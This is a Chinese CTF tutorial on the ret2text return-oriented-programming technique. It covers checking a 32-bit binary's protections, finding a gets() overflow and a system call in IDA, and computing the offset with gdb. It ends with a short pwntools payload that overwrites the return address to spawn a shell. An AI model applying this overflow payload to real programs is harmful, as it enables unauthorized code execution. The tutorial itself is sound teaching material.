(IDA分析存在错误,抠了一天终于在大佬的帮助下抠出来了)
背景
当程序开启NX保护之后,直接向栈或堆上注入代码的方式难以发挥效果(数据页不执行操作)
提出绕过操作: ROP(Return Oriented Programming)
主要思想是:在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets),来改变寄存器或者变量的值,从而控制程序的执行流程。
所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为rop,就是使用了指令集中的ret指令,改变了指令流的执行顺序,ROP攻击一般需要满足如下条件:
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
- 可能需要动态获取gadgets地址
过程
- 首先判断查看程序的保护机制
32位程序,之开启了NX
(关于linux程序的保护机制可以参考我的上篇文章)
- 扔到IDA中,查看源码
存在gets危险函数
继续分析,发现secure函数中存在system命令
-
调用system命令的地址为
-
直接把return返回地址覆盖为system地址即可
-
这时需要在linux中使用gdb(或者gdb的插件gef)
gdb -q ret2text
#动态调试ret2text文件
b *0x080486AE
#如下图所示,在gets处添加断点
r
#运行
6. 这时程序执行到断点处会自动停止,查看ebp和s的地址值,gets函数的第一个参数为s的地址
7. 打开计算器,调到程序员模式,计算偏移
8. 编写payload
from pwn import *
sh = process('./ret2text')
success_add = 0x0804863A
payload = 'a' * 0x6c + 'bbbb' + p32(success_add)
sh.sendline(payload)
sh.interactive()
- 拿到shell
注:
- lea指令:LEA opera1, opera2的本来作用是取opera2的地址,然后把这个地址赋给opera1。